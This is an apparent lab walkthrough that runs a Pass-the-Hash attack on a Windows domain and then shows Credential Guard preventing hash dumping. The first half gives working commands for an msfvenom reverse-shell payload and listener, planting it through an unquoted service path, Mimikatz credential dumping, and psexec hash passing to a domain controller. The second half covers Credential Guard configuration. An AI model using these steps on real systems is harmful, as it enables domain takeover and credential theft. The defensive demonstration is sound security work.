Pass-the-Hash vs Credential Guard

Pass the Hash (PtH) vs Credential Guard

The first part is 'Pass the Hash', sadly it's not what your thinking, put the bong away......

From a compromised client, the NTLM hash of a Domain account will be dumped and passed to the Domain Controller, it's then possible to execute commands directly on the DC, this will allow the creation of a 'Golden Ticket' for example. Cracking passwords takes time and effort, with no guarantee of success. The NTLM Hash can be extracted from the LSA process and simply passed to another client or Domain Controller authenticating the account without knowing the password hence 'Pass-the-Hash'.

This time and due to some poor behaviour by the IT Admin, we've been a little naughty and the client has already been successfully compromised with an Un-Quoted path vulnerability and malware. The initial attack compromised a single Windows 10 client, it's been possible to move laterally from client to client looking for an account with elevated privileges. Finally, the golden goose, a Domain Admin, logged on to a client, muppet.

Environment;

Domain Controller is a 2012 R2 @ 10.1.1.1 with a fqdn of sh.loc

The client is Dell XPS with TPM running Windows 10 x64 2004 @ 10.1.1.109

The attacker is using Kali 2020.4 @ 10.1.1.100

Logon to Kali and open a terminal shell

The following Metasploit command was used to create the malware used in the compromise.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.100 LPORT=4455 -f exe -o /root/Desktop/Phishing.exe

cd /root/Desktop

Start and Simple Web server, the file can then be downloaded from http://10.1.1.100.

sudo python -m SimpleHTTPServer 80

Start a separate terminal window.

Type 'sudo msfconsole' to start Metasploit, then:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT 4455

set LHOST 10.1.1.100 (or the IP address of Kali)

run

Logon to the Windows 10 client and replace the GoogleUpdater.exe with Phishing.exe to replicate an 'UnQuoted Path' vulnerability.

Either logoff or restart the Windows 10 client.

Now logon as a 'User', the Google Update service will try and start, executing the dodgy .exe

A reverse shell with 'System' privileges will be initiated.

This step is not necessary and is just for the demo.

shell

whoami

exit

The current reverse shell process is x86 and before launching Mimikatz it needs to be migrated to x64.

Ensure your in the Meterpreter if you enter 'Shell' by typing 'Sessions #id'.

ps | grep spool

Make a note of the PID and then run migrate replacing the example below with the PID displayed on your system.

migrate 2808

The reverse shell has been migrated to x64 process, this is to ensure Mimikatz's full functionality.

To load Mimikatz from Metapreter type load kiwi

Jump back on to the Windows 10 client, and elevate PowerShell as a Domain privileged account. SHAdmin, in this case, is also Domain Admin. Those who think this is a bit conceited should get out more, this is common practice.

Back to Kali.

To dump the NTLM hashes of the Domain account run creds_all

Copy to clipboard the NTLM hash for the SHAdmin.

Look closely at the image below, the User and SHAdmin share the same password, the NTLM hashes match. The plain text password has been captured as Mimikatz was already running when PowerShell was elevated.

Type background

To abuse the NTLM hash and pass to the Domain Controller another Metasploit module is required.

use exploit/windows/smb/psexec

Set the Domain Controllers IP set RHOST 10.1.1.1

Set the IP of Kali set LHOST 10.1.1.100

Set an accessible share on the Domain Controller set SHARE C$

Set the Domain set SMBDomain sh

Set the account that will be used set SMBUser shadmin

Set the NTLM hash, this will need padding with 32 numbers, I've seen zero's being used however I prefer 1 through 10 * 3 with an additional 12 tagged to the end.

set SMBPass 12345678901234567890123456789012:8c3efc486704d2ee71af14d86c

Options to review the settings.

Exploit

Type sysinfo to confirm the successful execution of 'Pass the Hash'.

It would now be possible to execute commands directly on the Domain Controller.

To confirm 'Pass the Hash' was actually responsible the NTLM hash was altered, now its wrong and I tried again. As expected, it's not possible to connect to the Domain Controller.

Before moving on to Credential Guard it's important to understand the default Windows configuration. The Local Security Authority (LSA) process is responsible for user authentication, storing password hashes and a bunch of other services and is susceptible to hacking tools extracting the password hashes from memory, given System or Administrative rights.

Windows Defender Credential Guard uses Virtualized Based Security (VBS) to isolate the LSA protecting Domain Authentication protocols Kerberos and NTLM, preventing access from the System and Administrators.

Hardware and software requirements:

Windows 10 or Server 2016.
Support for Virtualization-based security (required).
Secure boot (required).
Trusted Platform Module (preferred - TPM versions 1.2 and 2.0 are supported).
UEFI lock (preferred - prevents an attacker from disabling with a simple registry key change).

The Virtualization-based security requires:

64-bit CPU.
CPU virtualization extensions plus extended page tables.
Windows hypervisor (does not require Hyper-V Windows Feature to be installed).

What's not supported:

Local Accounts are not protected.
Single Sign-On (SSO) is not longer possible with NTLMv1, MS-CHAPv2, Digest, and CredSSP.
Kerberos does not allow unconstrained Kerberos delegation or DES encryption, not only for signed-in credentials but also for prompted or saved credentials.
Does not support being implemented on Domain Controllers.

There are links at bottom of the page for Credential Guard and Pass the Hash, a little bedtime reading.

The client is a Dell XPS and meets all the VBS requirements with Windows 10 x64 2004 installed and is a member of the sh.loc domain.

To confirm the status of VBS and Credential Guard type 'msinfo32' at the run command.

VBS and Credential Guard are not enabled.

From the Domain Controller edit a Group Policy that's assigned to the Workstation OU and navigate to:

'Computer Configuration > Administrative Templates > System > Device Guard'.

Enable 'Turn on Virtualization Based Security'.

Select Platform Security Level: = 'Secure Boot and DMA Protection'

Virtualization Based Protection: = 'Code Integrity = 'Enable without lock'

(Enable with lock - prevents any remote change including via GPO, requiring a visit to all affected workstations )

Credential Guard Configuration: = 'Enable without lock'

(Enable with lock - prevents any remote change including via GPO, requiring a visit to all affected workstations )

Secure Launch Configuration: = 'Not Configured'

(Securing the boot chain and not required for Credential Guard)

Ultimately the 'Enable with lock' is recommended otherwise Credential Guard can be remotely disabled by an attacker. However thoroughly test as testing highlighted issues with Windows 10 x64 2004 when configured with 'Enable with lock'. There were issues accessing the Start Menu and loading profiles.

On the client run 'gpupdate /force' and then reboot.

Log on with Administrative privileges and run 'msinfo32'.

VBS and Credential Guard are enabled and running.

The new isolated and virtualized LSA, 'lsaiso' service is running.

And finally in Task Manager 'Credential Guard & Key Guard' process is running.

Now repeat the Un-Quoted path attack, loading Kiwi and dumping all hashes with 'creds_all' command.

This time around there are no Domain hashes to steel to pass.

Credential Guard securely isolating the LSA process is the clear winner and does prevent the recovery of domain hashes from memory. However, it doesn't prevent 'Pass the Hash' itself, if the attacker uses another technique to steal the password hashes, for example using Responder (LMNR) the hashes can be passed. Credential Guard is another layer to add to the defence of the system, making it just that bit harder for the attacker. Let's not forget the cause of this attack an Administrator\Domain Admin logging on to a client infected with malware. Domain Admin and privileged users should never login to clients.